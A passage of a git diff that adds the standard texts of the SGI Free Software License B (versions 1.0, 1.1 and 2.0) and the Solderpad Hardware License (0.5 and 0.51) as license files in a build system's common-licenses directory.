+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.0 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Ampitheatre Parkway, Mountain View, CA 94043-1351, or at:
+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-1.1 b/meta/files/common-licenses/SGI-B-1.1
new file mode 100644
index 0000000000..3f688177ef
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.1
@@ -0,0 +1,84 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.1 02/22/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "Covered Code" means the Original Code or Modifications, or any combination thereof.
+
+ 1.3 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.4 "Larger Work" means a work that combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.5 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.6 "License" means this document.
+
+ 1.7 "Licensed Patents" means patent claims Licensable by SGI that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.8 "Modifications" means any addition to or deletion from the substance or structure of the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or addition to or deletion from the contents of a file containing previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code that is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity that controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 "Recipient Patents" means patent claims Licensable by a Recipient that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.13 "SGI" means Silicon Graphics, Inc.
+
+ 1.14 "SGI Patents" means patent claims Licensable by SGI other than the Licensed Patents.
+
+2. License Grant and Restrictions.
+
+ 2.1 SGI License Grant. Subject to the terms of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code and/or any Modifications provided by SGI alone and/or as part of a Larger Work; and (ii) under any Licensable Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions. The patent license shall apply to the Covered Code if, at the time any related Modification is added, such addition of the Modification causes such combination to be covered by the Licensed Patents. The patent license in Section 2.1(ii) shall not apply to any other combinations that include the Modification. No patent license is provided under SGI Patents for infringements of SGI Patents by Modifications not provided by SGI or combinations of Original Code and Modifications not provided by SGI.
+
+ 2.2 Recipient License Grant. Subject to the terms of this License and any third party intellectual property claims, Recipient hereby grants SGI and any other Recipients a worldwide, royalty-free, non-exclusive license, under any Recipient Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 and 2.2 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code or any Modifications provided by SGI .
+
+3. Redistributions.
+
+ 3.1 Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
+ 3.2 Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may, so long as without derogation of any of SGI’s rights in and to the Original Code, distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI. It is emphasized that this License is a limited license, and, regardless of the license form employed by Recipient in accordance with this Section 3.2, Recipient may relicense only such rights, in Original Code and Modifications by SGI, as it has actually been granted by SGI in this License.
+
+ 3.3 Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. There are various worldwide laws, regulations, and executive orders applicable to dispositions of Covered Code, including without limitation export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries, and Recipient is reminded it is obliged to obey such laws, regulations, and executive orders. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) any intellectual property rights of any kind of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.1 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Amphitheatre Parkway, Mountain View, CA 94043-1351, or at:
+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-2.0 b/meta/files/common-licenses/SGI-B-2.0
new file mode 100644
index 0000000000..19a4a9e985
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-2.0
@@ -0,0 +1,12 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 2.0, Sept. 18, 2008)
+
+Copyright (C) [dates of first publication] Silicon Graphics, Inc. All Rights Reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice including the dates of first publication and either this permission notice or a reference to http://oss.sgi.com/projects/FreeB/ shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SILICON GRAPHICS, INC. BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of Silicon Graphics, Inc. shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from Silicon Graphics, Inc.
diff --git a/meta/files/common-licenses/SHL-0.5 b/meta/files/common-licenses/SHL-0.5
new file mode 100644
index 0000000000..52dee6fac4
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.5
@@ -0,0 +1,64 @@
+SOLDERPAD HARDWARE LICENSE version 0.5
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+“Rights” means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database extraction rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.5 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.5. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SHL-0.51 b/meta/files/common-licenses/SHL-0.51
new file mode 100644
index 0000000000..548639d16e
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.51
@@ -0,0 +1,65 @@
+SOLDERPAD HARDWARE LICENSE version 0.51
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+"Rights" means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ 1. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+ 2. You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+ 3. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+ 4. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
